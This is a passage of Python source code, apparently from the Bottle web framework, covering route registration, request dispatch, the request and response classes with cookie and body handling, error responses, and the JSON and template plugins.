**kwargs): """ Calls :func:`run` with the same parameters. """ run(self, **kwargs) def match(self, environ): """ Search for a matching route and return a (:class:`Route`, urlargs) tuple. The second value is a dictionary with parameters extracted from the URL. Raise :exc:`HTTPError` (404/405) on a non-match.""" return self.router.match(environ) def get_url(self, routename, **kargs): """ Return a string that matches a named route """ scriptname = request.environ.get('SCRIPT_NAME', '').strip('/') + '/' location = self.router.build(routename, **kargs).lstrip('/') return urljoin(urljoin('/', scriptname), location) def add_route(self, route): """ Add a route object, but do not change the :data:`Route.app` attribute.""" self.routes.append(route) self.router.add(route.rule, route.method, route, name=route.name) if DEBUG: route.prepare() def route(self, path=None, method='GET', callback=None, name=None, apply=None, skip=None, **config): """ A decorator to bind a function to a request URL. Example:: @app.route('/hello/<name>') def hello(name): return 'Hello %s' % name The ``<name>`` part is a wildcard. See :class:`Router` for syntax details. :param path: Request path or a list of paths to listen to. If no path is specified, it is automatically generated from the signature of the function. :param method: HTTP method (`GET`, `POST`, `PUT`, ...) or a list of methods to listen to. (default: `GET`) :param callback: An optional shortcut to avoid the decorator syntax. ``route(..., callback=func)`` equals ``route(...)(func)`` :param name: The name for this route. (default: None) :param apply: A decorator or plugin or a list of plugins. These are applied to the route callback in addition to installed plugins. :param skip: A list of plugins, plugin classes or names. Matching plugins are not installed to this route. ``True`` skips all. Any additional keyword arguments are stored as route-specific configuration and passed to plugins (see :meth:`Plugin.apply`). """ if callable(path): path, callback = None, path plugins = makelist(apply) skiplist = makelist(skip) def decorator(callback): if isinstance(callback, basestring): callback = load(callback) for rule in makelist(path) or yieldroutes(callback): for verb in makelist(method): verb = verb.upper() route = Route(self, rule, verb, callback, name=name, plugins=plugins, skiplist=skiplist, **config) self.add_route(route) return callback return decorator(callback) if callback else decorator def get(self, path=None, method='GET', **options): """ Equals :meth:`route`. """ return self.route(path, method, **options) def post(self, path=None, method='POST', **options): """ Equals :meth:`route` with a ``POST`` method parameter. """ return self.route(path, method, **options) def put(self, path=None, method='PUT', **options): """ Equals :meth:`route` with a ``PUT`` method parameter. """ return self.route(path, method, **options) def delete(self, path=None, method='DELETE', **options): """ Equals :meth:`route` with a ``DELETE`` method parameter. """ return self.route(path, method, **options) def patch(self, path=None, method='PATCH', **options): """ Equals :meth:`route` with a ``PATCH`` method parameter. """ return self.route(path, method, **options) def error(self, code=500, callback=None): """ Register an output handler for a HTTP error code. Can be used as a decorator or called directly :: def error_handler_500(error): return 'error_handler_500' app.error(code=500, callback=error_handler_500) @app.error(404) def error_handler_404(error): return 'error_handler_404' """ def decorator(callback): if isinstance(callback, basestring): callback = load(callback) self.error_handler[int(code)] = callback return callback return decorator(callback) if callback else decorator def default_error_handler(self, res): return tob(template(ERROR_PAGE_TEMPLATE, e=res, template_settings=dict(name='__ERROR_PAGE_TEMPLATE'))) def _handle(self, environ): path = environ['bottle.raw_path'] = environ['PATH_INFO'] if py3k: environ['PATH_INFO'] = path.encode('latin1').decode('utf8', 'ignore') environ['bottle.app'] = self request.bind(environ) response.bind() try: while True: # Remove in 0.14 together with RouteReset out = None try: self.trigger_hook('before_request') route, args = self.router.match(environ) environ['route.handle'] = route environ['bottle.route'] = route environ['route.url_args'] = args out = route.call(**args) break except HTTPResponse as E: out = E break except RouteReset: depr(0, 13, "RouteReset exception deprecated", "Call route.call() after route.reset() and " "return the result.") route.reset() continue finally: if isinstance(out, HTTPResponse): out.apply(response) try: self.trigger_hook('after_request') except HTTPResponse as E: out = E out.apply(response) except (KeyboardInterrupt, SystemExit, MemoryError): raise except Exception as E: if not self.catchall: raise stacktrace = format_exc() environ['wsgi.errors'].write(stacktrace) environ['wsgi.errors'].flush() environ['bottle.exc_info'] = sys.exc_info() out = HTTPError(500, "Internal Server Error", E, stacktrace) out.apply(response) return out def _cast(self, out, peek=None): """ Try to convert the parameter into something WSGI compatible and set correct HTTP headers when possible. Support: False, str, unicode, dict, HTTPResponse, HTTPError, file-like, iterable of strings and iterable of unicodes """ # Empty output is done here if not out: if 'Content-Length' not in response: response['Content-Length'] = 0 return [] # Join lists of byte or unicode strings. Mixed lists are NOT supported if isinstance(out, (tuple, list))\ and isinstance(out[0], (bytes, unicode)): out = out[0][0:0].join(out) # b'abc'[0:0] -> b'' # Encode unicode strings if isinstance(out, unicode): out = out.encode(response.charset) # Byte Strings are just returned if isinstance(out, bytes): if 'Content-Length' not in response: response['Content-Length'] = len(out) return [out] # HTTPError or HTTPException (recursive, because they may wrap anything) # TODO: Handle these explicitly in handle() or make them iterable. if isinstance(out, HTTPError): out.apply(response) out = self.error_handler.get(out.status_code, self.default_error_handler)(out) return self._cast(out) if isinstance(out, HTTPResponse): out.apply(response) return self._cast(out.body) # File-like objects. if hasattr(out, 'read'): if 'wsgi.file_wrapper' in request.environ: return request.environ['wsgi.file_wrapper'](out) elif hasattr(out, 'close') or not hasattr(out, '__iter__'): return WSGIFileWrapper(out) # Handle Iterables. We peek into them to detect their inner type. try: iout = iter(out) first = next(iout) while not first: first = next(iout) except StopIteration: return self._cast('') except HTTPResponse as E: first = E except (KeyboardInterrupt, SystemExit, MemoryError): raise except Exception as error: if not self.catchall: raise first = HTTPError(500, 'Unhandled exception', error, format_exc()) # These are the inner types allowed in iterator or generator objects. if isinstance(first, HTTPResponse): return self._cast(first) elif isinstance(first, bytes): new_iter = itertools.chain([first], iout) elif isinstance(first, unicode): encoder = lambda x: x.encode(response.charset) new_iter = imap(encoder, itertools.chain([first], iout)) else: msg = 'Unsupported response type: %s' % type(first) return self._cast(HTTPError(500, msg)) if hasattr(out, 'close'): new_iter = _closeiter(new_iter, out.close) return new_iter def wsgi(self, environ, start_response): """ The bottle WSGI-interface. """ try: out = self._cast(self._handle(environ)) # rfc2616 section 4.3 if response._status_code in (100, 101, 204, 304)\ or environ['REQUEST_METHOD'] == 'HEAD': if hasattr(out, 'close'): out.close() out = [] exc_info = environ.get('bottle.exc_info') if exc_info is not None: del environ['bottle.exc_info'] start_response(response._wsgi_status_line(), response.headerlist, exc_info) return out except (KeyboardInterrupt, SystemExit, MemoryError): raise except Exception as E: if not self.catchall: raise err = '<h1>Critical error while processing request: %s</h1>' \ % html_escape(environ.get('PATH_INFO', '/')) if DEBUG: err += '<h2>Error:</h2>\n<pre>\n%s\n</pre>\n' \ '<h2>Traceback:</h2>\n<pre>\n%s\n</pre>\n' \ % (html_escape(repr(E)), html_escape(format_exc())) environ['wsgi.errors'].write(err) environ['wsgi.errors'].flush() headers = [('Content-Type', 'text/html; charset=UTF-8')] start_response('500 INTERNAL SERVER ERROR', headers, sys.exc_info()) return [tob(err)] def __call__(self, environ, start_response): """ Each instance of :class:'Bottle' is a WSGI application. """ return self.wsgi(environ, start_response) def __enter__(self): """ Use this application as default for all module-level shortcuts. """ default_app.push(self) return self def __exit__(self, exc_type, exc_value, traceback): default_app.pop() def __setattr__(self, name, value): if name in self.__dict__: raise AttributeError("Attribute %s already defined. Plugin conflict?" % name) object.__setattr__(self, name, value) ############################################################################### # HTTP and WSGI Tools ########################################################## ############################################################################### class BaseRequest(object): """ A wrapper for WSGI environment dictionaries that adds a lot of convenient access methods and properties. Most of them are read-only. Adding new attributes to a request actually adds them to the environ dictionary (as 'bottle.request.ext.<name>'). This is the recommended way to store and access request-specific data. """ __slots__ = ('environ', ) #: Maximum size of memory buffer for :attr:`body` in bytes. MEMFILE_MAX = 102400 def __init__(self, environ=None): """ Wrap a WSGI environ dictionary. """ #: The wrapped WSGI environ dictionary. This is the only real attribute. #: All other attributes actually are read-only properties. self.environ = {} if environ is None else environ self.environ['bottle.request'] = self @DictProperty('environ', 'bottle.app', read_only=True) def app(self): """ Bottle application handling this request. """ raise RuntimeError('This request is not connected to an application.') @DictProperty('environ', 'bottle.route', read_only=True) def route(self): """ The bottle :class:`Route` object that matches this request. """ raise RuntimeError('This request is not connected to a route.') @DictProperty('environ', 'route.url_args', read_only=True) def url_args(self): """ The arguments extracted from the URL. """ raise RuntimeError('This request is not connected to a route.') @property def path(self): """ The value of ``PATH_INFO`` with exactly one prefixed slash (to fix broken clients and avoid the "empty path" edge case). """ return '/' + self.environ.get('PATH_INFO', '').lstrip('/') @property def method(self): """ The ``REQUEST_METHOD`` value as an uppercase string. """ return self.environ.get('REQUEST_METHOD', 'GET').upper() @DictProperty('environ', 'bottle.request.headers', read_only=True) def headers(self): """ A :class:`WSGIHeaderDict` that provides case-insensitive access to HTTP request headers. """ return WSGIHeaderDict(self.environ) def get_header(self, name, default=None): """ Return the value of a request header, or a given default value. """ return self.headers.get(name, default) @DictProperty('environ', 'bottle.request.cookies', read_only=True) def cookies(self): """ Cookies parsed into a :class:`FormsDict`. Signed cookies are NOT decoded. Use :meth:`get_cookie` if you expect signed cookies. """ cookies = SimpleCookie(self.environ.get('HTTP_COOKIE', '')).values() return FormsDict((c.key, c.value) for c in cookies) def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): """ Return the content of a cookie. To read a `Signed Cookie`, the `secret` must match the one used to create the cookie (see :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing cookie or wrong signature), return a default value. """ value = self.cookies.get(key) if secret: # See BaseResponse.set_cookie for details on signed cookies. if value and value.startswith('!') and '?' in value: sig, msg = map(tob, value[1:].split('?', 1)) hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() if _lscmp(sig, base64.b64encode(hash)): dst = pickle.loads(base64.b64decode(msg)) if dst and dst[0] == key: return dst[1] return default return value or default @DictProperty('environ', 'bottle.request.query', read_only=True) def query(self): """ The :attr:`query_string` parsed into a :class:`FormsDict`. These values are sometimes called "URL arguments" or "GET parameters", but not to be confused with "URL wildcards" as they are provided by the :class:`Router`. """ get = self.environ['bottle.get'] = FormsDict() pairs = _parse_qsl(self.environ.get('QUERY_STRING', '')) for key, value in pairs: get[key] = value return get @DictProperty('environ', 'bottle.request.forms', read_only=True) def forms(self): """ Form values parsed from an `url-encoded` or `multipart/form-data` encoded POST or PUT request body. The result is returned as a :class:`FormsDict`. All keys and values are strings. File uploads are stored separately in :attr:`files`. """ forms = FormsDict() forms.recode_unicode = self.POST.recode_unicode for name, item in self.POST.allitems(): if not isinstance(item, FileUpload): forms[name] = item return forms @DictProperty('environ', 'bottle.request.params', read_only=True) def params(self): """ A :class:`FormsDict` with the combined values of :attr:`query` and :attr:`forms`. File uploads are stored in :attr:`files`. """ params = FormsDict() for key, value in self.query.allitems(): params[key] = value for key, value in self.forms.allitems(): params[key] = value return params @DictProperty('environ', 'bottle.request.files', read_only=True) def files(self): """ File uploads parsed from `multipart/form-data` encoded POST or PUT request body. The values are instances of :class:`FileUpload`. """ files = FormsDict() files.recode_unicode = self.POST.recode_unicode for name, item in self.POST.allitems(): if isinstance(item, FileUpload): files[name] = item return files @DictProperty('environ', 'bottle.request.json', read_only=True) def json(self): """ If the ``Content-Type`` header is ``application/json`` or ``application/json-rpc``, this property holds the parsed content of the request body. Only requests smaller than :attr:`MEMFILE_MAX` are processed to avoid memory exhaustion. Invalid JSON raises a 400 error response. """ ctype = self.environ.get('CONTENT_TYPE', '').lower().split(';')[0] if ctype in ('application/json', 'application/json-rpc'): b = self._get_body_string(self.MEMFILE_MAX) if not b: return None try: return json_loads(b) except (ValueError, TypeError): raise HTTPError(400, 'Invalid JSON') return None def _iter_body(self, read, bufsize): maxread = max(0, self.content_length) while maxread: part = read(min(maxread, bufsize)) if not part: break yield part maxread -= len(part) @staticmethod def _iter_chunked(read, bufsize): err = HTTPError(400, 'Error while parsing chunked transfer body.') rn, sem, bs = tob('\r\n'), tob(';'), tob('') while True: header = read(1) while header[-2:] != rn: c = read(1) header += c if not c: raise err if len(header) > bufsize: raise err size, _, _ = header.partition(sem) try: maxread = int(tonat(size.strip()), 16) except ValueError: raise err if maxread == 0: break buff = bs while maxread > 0: if not buff: buff = read(min(maxread, bufsize)) part, buff = buff[:maxread], buff[maxread:] if not part: raise err yield part maxread -= len(part) if read(2) != rn: raise err @DictProperty('environ', 'bottle.request.body', read_only=True) def _body(self): try: read_func = self.environ['wsgi.input'].read except KeyError: self.environ['wsgi.input'] = BytesIO() return self.environ['wsgi.input'] body_iter = self._iter_chunked if self.chunked else self._iter_body body, body_size, is_temp_file = BytesIO(), 0, False for part in body_iter(read_func, self.MEMFILE_MAX): body.write(part) body_size += len(part) if not is_temp_file and body_size > self.MEMFILE_MAX: body, tmp = NamedTemporaryFile(mode='w+b'), body body.write(tmp.getvalue()) del tmp is_temp_file = True self.environ['wsgi.input'] = body body.seek(0) return body def _get_body_string(self, maxread): """ Read body into a string. Raise HTTPError(413) on requests that are too large. """ if self.content_length > maxread: raise HTTPError(413, 'Request entity too large') data = self.body.read(maxread + 1) if len(data) > maxread: raise HTTPError(413, 'Request entity too large') return data @property def body(self): """ The HTTP request body as a seek-able file-like object. Depending on :attr:`MEMFILE_MAX`, this is either a temporary file or a :class:`io.BytesIO` instance. Accessing this property for the first time reads and replaces the ``wsgi.input`` environ variable. Subsequent accesses just do a `seek(0)` on the file object. """ self._body.seek(0) return self._body @property def chunked(self): """ True if Chunked transfer encoding was. """ return 'chunked' in self.environ.get( 'HTTP_TRANSFER_ENCODING', '').lower() #: An alias for :attr:`query`. GET = query @DictProperty('environ', 'bottle.request.post', read_only=True) def POST(self): """ The values of :attr:`forms` and :attr:`files` combined into a single :class:`FormsDict`. Values are either strings (form values) or instances of :class:`FileUpload`. """ post = FormsDict() content_type = self.environ.get('CONTENT_TYPE', '') content_type, options = _parse_http_header(content_type)[0] # We default to application/x-www-form-urlencoded for everything that # is not multipart and take the fast path (also: 3.1 workaround) if not content_type.startswith('multipart/'): body = tonat(self._get_body_string(self.MEMFILE_MAX), 'latin1') for key, value in _parse_qsl(body): post[key] = value return post post.recode_unicode = False charset = options.get("charset", "utf8") boundary = options.get("boundary") if not boundary: raise MultipartError("Invalid content type header, missing boundary") parser = _MultipartParser(self.body, boundary, self.content_length, mem_limit=self.MEMFILE_MAX, memfile_limit=self.MEMFILE_MAX, charset=charset) for part in parser.parse(): if not part.filename and part.is_buffered(): post[part.name] = tonat(part.value, 'utf8') else: post[part.name] = FileUpload(part.file, part.name, part.filename, part.headerlist) return post @property def url(self): """ The full request URI including hostname and scheme. If your app lives behind a reverse proxy or load balancer and you get confusing results, make sure that the ``X-Forwarded-Host`` header is set correctly. """ return self.urlparts.geturl() @DictProperty('environ', 'bottle.request.urlparts', read_only=True) def urlparts(self): """ The :attr:`url` string as an :class:`urlparse.SplitResult` tuple. The tuple contains (scheme, host, path, query_string and fragment), but the fragment is always empty because it is not visible to the server. """ env = self.environ http = env.get('HTTP_X_FORWARDED_PROTO') \ or env.get('wsgi.url_scheme', 'http') host = env.get('HTTP_X_FORWARDED_HOST') or env.get('HTTP_HOST') if not host: # HTTP 1.1 requires a Host-header. This is for HTTP/1.0 clients. host = env.get('SERVER_NAME', '127.0.0.1') port = env.get('SERVER_PORT') if port and port != ('80' if http == 'http' else '443'): host += ':' + port path = urlquote(self.fullpath) return UrlSplitResult(http, host, path, env.get('QUERY_STRING'), '') @property def fullpath(self): """ Request path including :attr:`script_name` (if present). """ return urljoin(self.script_name, self.path.lstrip('/')) @property def query_string(self): """ The raw :attr:`query` part of the URL (everything in between ``?`` and ``#``) as a string. """ return self.environ.get('QUERY_STRING', '') @property def script_name(self): """ The initial portion of the URL's `path` that was removed by a higher level (server or routing middleware) before the application was called. This script path is returned with leading and tailing slashes. """ script_name = self.environ.get('SCRIPT_NAME', '').strip('/') return '/' + script_name + '/' if script_name else '/' def path_shift(self, shift=1): """ Shift path segments from :attr:`path` to :attr:`script_name` and vice versa. :param shift: The number of path segments to shift. May be negative to change the shift direction. (default: 1) """ script, path = path_shift(self.environ.get('SCRIPT_NAME', '/'), self.path, shift) self['SCRIPT_NAME'], self['PATH_INFO'] = script, path @property def content_length(self): """ The request body length as an integer. The client is responsible to set this header. Otherwise, the real length of the body is unknown and -1 is returned. In this case, :attr:`body` will be empty. """ return int(self.environ.get('CONTENT_LENGTH') or -1) @property def content_type(self): """ The Content-Type header as a lowercase-string (default: empty). """ return self.environ.get('CONTENT_TYPE', '').lower() @property def is_xhr(self): """ True if the request was triggered by a XMLHttpRequest. This only works with JavaScript libraries that support the `X-Requested-With` header (most of the popular libraries do). """ requested_with = self.environ.get('HTTP_X_REQUESTED_WITH', '') return requested_with.lower() == 'xmlhttprequest' @property def is_ajax(self): """ Alias for :attr:`is_xhr`. "Ajax" is not the right term. """ return self.is_xhr @property def auth(self): """ HTTP authentication data as a (user, password) tuple. This implementation currently supports basic (not digest) authentication only. If the authentication happened at a higher level (e.g. in the front web-server or a middleware), the password field is None, but the user field is looked up from the ``REMOTE_USER`` environ variable. On any errors, None is returned. """ basic = parse_auth(self.environ.get('HTTP_AUTHORIZATION', '')) if basic: return basic ruser = self.environ.get('REMOTE_USER') if ruser: return (ruser, None) return None @property def remote_route(self): """ A list of all IPs that were involved in this request, starting with the client IP and followed by zero or more proxies. This does only work if all proxies support the ```X-Forwarded-For`` header. Note that this information can be forged by malicious clients. """ proxy = self.environ.get('HTTP_X_FORWARDED_FOR') if proxy: return [ip.strip() for ip in proxy.split(',')] remote = self.environ.get('REMOTE_ADDR') return [remote] if remote else [] @property def remote_addr(self): """ The client IP as a string. Note that this information can be forged by malicious clients. """ route = self.remote_route return route[0] if route else None def copy(self): """ Return a new :class:`Request` with a shallow :attr:`environ` copy. """ return Request(self.environ.copy()) def get(self, value, default=None): return self.environ.get(value, default) def __getitem__(self, key): return self.environ[key] def __delitem__(self, key): self[key] = "" del (self.environ[key]) def __iter__(self): return iter(self.environ) def __len__(self): return len(self.environ) def keys(self): return self.environ.keys() def __setitem__(self, key, value): """ Change an environ value and clear all caches that depend on it. """ if self.environ.get('bottle.request.readonly'): raise KeyError('The environ dictionary is read-only.') self.environ[key] = value todelete = () if key == 'wsgi.input': todelete = ('body', 'forms', 'files', 'params', 'post', 'json') elif key == 'QUERY_STRING': todelete = ('query', 'params') elif key.startswith('HTTP_'): todelete = ('headers', 'cookies') for key in todelete: self.environ.pop('bottle.request.' + key, None) def __repr__(self): return '<%s: %s %s>' % (self.__class__.__name__, self.method, self.url) def __getattr__(self, name): """ Search in self.environ for additional user defined attributes. """ try: var = self.environ['bottle.request.ext.%s' % name] return var.__get__(self) if hasattr(var, '__get__') else var except KeyError: raise AttributeError('Attribute %r not defined.' % name) def __setattr__(self, name, value): """ Define new attributes that are local to the bound request environment. """ if name == 'environ': return object.__setattr__(self, name, value) key = 'bottle.request.ext.%s' % name if hasattr(self, name): raise AttributeError("Attribute already defined: %s" % name) self.environ[key] = value def __delattr__(self, name): try: del self.environ['bottle.request.ext.%s' % name] except KeyError: raise AttributeError("Attribute not defined: %s" % name) def _hkey(key): if '\n' in key or '\r' in key or '\0' in key: raise ValueError("Header names must not contain control characters: %r" % key) return key.title().replace('_', '-') def _hval(value): value = tonat(value) if '\n' in value or '\r' in value or '\0' in value: raise ValueError("Header value must not contain control characters: %r" % value) return value class HeaderProperty(object): def __init__(self, name, reader=None, writer=None, default=''): self.name, self.default = name, default self.reader, self.writer = reader, writer self.__doc__ = 'Current value of the %r header.' % name.title() def __get__(self, obj, _): if obj is None: return self value = obj.get_header(self.name, self.default) return self.reader(value) if self.reader else value def __set__(self, obj, value): obj[self.name] = self.writer(value) if self.writer else value def __delete__(self, obj): del obj[self.name] class BaseResponse(object): """ Storage class for a response body as well as headers and cookies. This class does support dict-like case-insensitive item-access to headers, but is NOT a dict. Most notably, iterating over a response yields parts of the body and not the headers. """ default_status = 200 default_content_type = 'text/html; charset=UTF-8' # Header denylist for specific response codes # (rfc2616 section 10.2.3 and 10.3.5) bad_headers = { 204: frozenset(('Content-Type', 'Content-Length')), 304: frozenset(('Allow', 'Content-Encoding', 'Content-Language', 'Content-Length', 'Content-Range', 'Content-Type', 'Content-Md5', 'Last-Modified')) } def __init__(self, body='', status=None, headers=None, **more_headers): """ Create a new response object. :param body: The response body as one of the supported types. :param status: Either an HTTP status code (e.g. 200) or a status line including the reason phrase (e.g. '200 OK'). :param headers: A dictionary or a list of name-value pairs. Additional keyword arguments are added to the list of headers. Underscores in the header name are replaced with dashes. """ self._cookies = None self._headers = {} self.body = body self.status = status or self.default_status if headers: if isinstance(headers, dict): headers = headers.items() for name, value in headers: self.add_header(name, value) if more_headers: for name, value in more_headers.items(): self.add_header(name, value) def copy(self, cls=None): """ Returns a copy of self. """ cls = cls or BaseResponse assert issubclass(cls, BaseResponse) copy = cls() copy.status = self.status copy._headers = dict((k, v[:]) for (k, v) in self._headers.items()) if self._cookies: cookies = copy._cookies = SimpleCookie() for k,v in self._cookies.items(): cookies[k] = v.value cookies[k].update(v) # also copy cookie attributes return copy def __iter__(self): return iter(self.body) def close(self): if hasattr(self.body, 'close'): self.body.close() @property def status_line(self): """ The HTTP status line as a string (e.g. ``404 Not Found``).""" return self._status_line @property def status_code(self): """ The HTTP status code as an integer (e.g. 404).""" return self._status_code def _set_status(self, status): if isinstance(status, int): code, status = status, _HTTP_STATUS_LINES.get(status) elif ' ' in status: if '\n' in status or '\r' in status or '\0' in status: raise ValueError('Status line must not include control chars.') status = status.strip() code = int(status.split()[0]) else: raise ValueError('String status line without a reason phrase.') if not 100 <= code <= 999: raise ValueError('Status code out of range.') self._status_code = code self._status_line = str(status or ('%d Unknown' % code)) def _get_status(self): return self._status_line status = property( _get_status, _set_status, None, ''' A writeable property to change the HTTP response status. It accepts either a numeric code (100-999) or a string with a custom reason phrase (e.g. "404 Brain not found"). Both :data:`status_line` and :data:`status_code` are updated accordingly. The return value is always a status string. ''') del _get_status, _set_status @property def headers(self): """ An instance of :class:`HeaderDict`, a case-insensitive dict-like view on the response headers. """ hdict = HeaderDict() hdict.dict = self._headers return hdict def __contains__(self, name): return _hkey(name) in self._headers def __delitem__(self, name): del self._headers[_hkey(name)] def __getitem__(self, name): return self._headers[_hkey(name)][-1] def __setitem__(self, name, value): self._headers[_hkey(name)] = [_hval(value)] def get_header(self, name, default=None): """ Return the value of a previously defined header. If there is no header with that name, return a default value. """ return self._headers.get(_hkey(name), [default])[-1] def set_header(self, name, value): """ Create a new response header, replacing any previously defined headers with the same name. """ self._headers[_hkey(name)] = [_hval(value)] def add_header(self, name, value): """ Add an additional response header, not removing duplicates. """ self._headers.setdefault(_hkey(name), []).append(_hval(value)) def iter_headers(self): """ Yield (header, value) tuples, skipping headers that are not allowed with the current response status code. """ return self.headerlist def _wsgi_status_line(self): """ WSGI conform status line (latin1-encodeable) """ if py3k: return self._status_line.encode('utf8').decode('latin1') return self._status_line @property def headerlist(self): """ WSGI conform list of (header, value) tuples. """ out = [] headers = list(self._headers.items()) if 'Content-Type' not in self._headers: headers.append(('Content-Type', [self.default_content_type])) if self._status_code in self.bad_headers: bad_headers = self.bad_headers[self._status_code] headers = [h for h in headers if h[0] not in bad_headers] out += [(name, val) for (name, vals) in headers for val in vals] if self._cookies: for c in self._cookies.values(): out.append(('Set-Cookie', _hval(c.OutputString()))) if py3k: out = [(k, v.encode('utf8').decode('latin1')) for (k, v) in out] return out content_type = HeaderProperty('Content-Type') content_length = HeaderProperty('Content-Length', reader=int, default=-1) expires = HeaderProperty( 'Expires', reader=lambda x: datetime.fromtimestamp(parse_date(x), UTC), writer=lambda x: http_date(x)) @property def charset(self, default='UTF-8'): """ Return the charset specified in the content-type header (default: utf8). """ if 'charset=' in self.content_type: return self.content_type.split('charset=')[-1].split(';')[0].strip() return default def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **options): """ Create a new cookie or replace an old one. If the `secret` parameter is set, create a `Signed Cookie` (described below). :param name: the name of the cookie. :param value: the value of the cookie. :param secret: a signature key required for signed cookies. Additionally, this method accepts all RFC 2109 attributes that are supported by :class:`cookie.Morsel`, including: :param maxage: maximum age in seconds. (default: None) :param expires: a datetime object or UNIX timestamp. (default: None) :param domain: the domain that is allowed to read the cookie. (default: current domain) :param path: limits the cookie to a given path (default: current path) :param secure: limit the cookie to HTTPS connections (default: off). :param httponly: prevents client-side javascript to read this cookie (default: off, requires Python 2.6 or newer). :param samesite: Control or disable third-party use for this cookie. Possible values: `lax`, `strict` or `none` (default). If neither `expires` nor `maxage` is set (default), the cookie will expire at the end of the browser session (as soon as the browser window is closed). Signed cookies may store any pickle-able object and are cryptographically signed to prevent manipulation. Keep in mind that cookies are limited to 4kb in most browsers. Warning: Pickle is a potentially dangerous format. If an attacker gains access to the secret key, he could forge cookies that execute code on server side if unpickled. Using pickle is discouraged and support for it will be removed in later versions of bottle. Warning: Signed cookies are not encrypted (the client can still see the content) and not copy-protected (the client can restore an old cookie). The main intention is to make pickling and unpickling save, not to store secret information at client side. """ if not self._cookies: self._cookies = SimpleCookie() # Monkey-patch Cookie lib to support 'SameSite' parameter # https://tools.ietf.org/html/draft-west-first-party-cookies-07#section-4.1 if py < (3, 8, 0): Morsel._reserved.setdefault('samesite', 'SameSite') if secret: if not isinstance(value, basestring): depr(0, 13, "Pickling of arbitrary objects into cookies is " "deprecated.", "Only store strings in cookies. " "JSON strings are fine, too.") encoded = base64.b64encode(pickle.dumps([name, value], -1)) sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=digestmod).digest()) value = touni(tob('!') + sig + tob('?') + encoded) elif not isinstance(value, basestring): raise TypeError('Secret key required for non-string cookies.') # Cookie size plus options must not exceed 4kb. if len(name) + len(value) > 3800: raise ValueError('Content does not fit into a cookie.') self._cookies[name] = value for key, value in options.items(): if key in ('max_age', 'maxage'): # 'maxage' variant added in 0.13 key = 'max-age' if isinstance(value, timedelta): value = value.seconds + value.days * 24 * 3600 if key == 'expires': value = http_date(value) if key in ('same_site', 'samesite'): # 'samesite' variant added in 0.13 key, value = 'samesite', (value or "none").lower() if value not in ('lax', 'strict', 'none'): raise CookieError("Invalid value for SameSite") if key in ('secure', 'httponly') and not value: continue self._cookies[name][key] = value def delete_cookie(self, key, **kwargs): """ Delete a cookie. Be sure to use the same `domain` and `path` settings as used to create the cookie. """ kwargs['max_age'] = -1 kwargs['expires'] = 0 self.set_cookie(key, '', **kwargs) def __repr__(self): out = '' for name, value in self.headerlist: out += '%s: %s\n' % (name.title(), value.strip()) return out def _local_property(): ls = threading.local() def fget(_): try: return ls.var except AttributeError: raise RuntimeError("Request context not initialized.") def fset(_, value): ls.var = value def fdel(_): del ls.var return property(fget, fset, fdel, 'Thread-local property') class LocalRequest(BaseRequest): """ A thread-local subclass of :class:`BaseRequest` with a different set of attributes for each thread. There is usually only one global instance of this class (:data:`request`). If accessed during a request/response cycle, this instance always refers to the *current* request (even on a multithreaded server). """ bind = BaseRequest.__init__ environ = _local_property() class LocalResponse(BaseResponse): """ A thread-local subclass of :class:`BaseResponse` with a different set of attributes for each thread. There is usually only one global instance of this class (:data:`response`). Its attributes are used to build the HTTP response at the end of the request/response cycle. """ bind = BaseResponse.__init__ _status_line = _local_property() _status_code = _local_property() _cookies = _local_property() _headers = _local_property() body = _local_property() Request = BaseRequest Response = BaseResponse class HTTPResponse(Response, BottleException): """ A subclass of :class:`Response` that can be raised or returned from request handlers to short-curcuit request processing and override changes made to the global :data:`request` object. This bypasses error handlers, even if the status code indicates an error. Return or raise :class:`HTTPError` to trigger error handlers. """ def __init__(self, body='', status=None, headers=None, **more_headers): super(HTTPResponse, self).__init__(body, status, headers, **more_headers) def apply(self, other): """ Copy the state of this response to a different :class:`Response` object. """ other._status_code = self._status_code other._status_line = self._status_line other._headers = self._headers other._cookies = self._cookies other.body = self.body class HTTPError(HTTPResponse): """ A subclass of :class:`HTTPResponse` that triggers error handlers. """ default_status = 500 def __init__(self, status=None, body=None, exception=None, traceback=None, **more_headers): self.exception = exception self.traceback = traceback super(HTTPError, self).__init__(body, status, **more_headers) ############################################################################### # Plugins ###################################################################### ############################################################################### class PluginError(BottleException): pass class JSONPlugin(object): name = 'json' api = 2 def __init__(self, json_dumps=json_dumps): self.json_dumps = json_dumps def setup(self, app): app.config._define('json.enable', default=True, validate=bool, help="Enable or disable automatic dict->json filter.") app.config._define('json.ascii', default=False, validate=bool, help="Use only 7-bit ASCII characters in output.") app.config._define('json.indent', default=True, validate=bool, help="Add whitespace to make json more readable.") app.config._define('json.dump_func', default=None, help="If defined, use this function to transform" " dict into json. The other options no longer" " apply.") def apply(self, callback, route): dumps = self.json_dumps if not self.json_dumps: return callback @functools.wraps(callback) def wrapper(*a, **ka): try: rv = callback(*a, **ka) except HTTPResponse as resp: rv = resp if isinstance(rv, dict): #Attempt to serialize, raises exception on failure json_response = dumps(rv) #Set content type only if serialization successful response.content_type = 'application/json' return json_response elif isinstance(rv, HTTPResponse) and isinstance(rv.body, dict): rv.body = dumps(rv.body) rv.content_type = 'application/json' return rv return wrapper class TemplatePlugin(object): """ This plugin applies the :func:`view` decorator to all routes with a `template` config parameter. If the parameter is a tuple, the second element must be a dict with additional options (e.g. `template_engine`) or default variables for the template. """ name = 'template' api = 2 def setup(self, app): app.tpl = self def apply(self, callback, route): conf = route.config.get('template') if isinstance(conf, (tuple, list)) and len(conf) == 2: return view(conf[0], **conf[1])(callback) elif isinstance(conf, str): return view(conf)(callback) else: return callback #: Not a plugin, but part of the plugin API. TODO: Find a better place. class _ImportRedirect(object): def __init__(self, name, impmask): """ Create a virtual package that redirects imports (see PEP 302). """ self.name = name self.impmask = impmask self.module = sys.modules.setdefault(name, new_module(name)) self.module.__dict__.update({ '__file__': __file__, '__path__': [], '__all__': [], '__loader__': self }) sys.meta_path.append(self) def find_spec(self, fullname, path, target=None): if '.' not in fullname: return if fullname.rsplit('.', 1)[0] != self.name: return from importlib.util import spec_from_loader return spec_from_loader(fullname, self) def find_module(self, fullname, path=None): if '.' not in fullname: return if fullname.rsplit('.', 1)[0] != self.name: return return self def create_module(self, spec): return self.load_module(spec.name) def 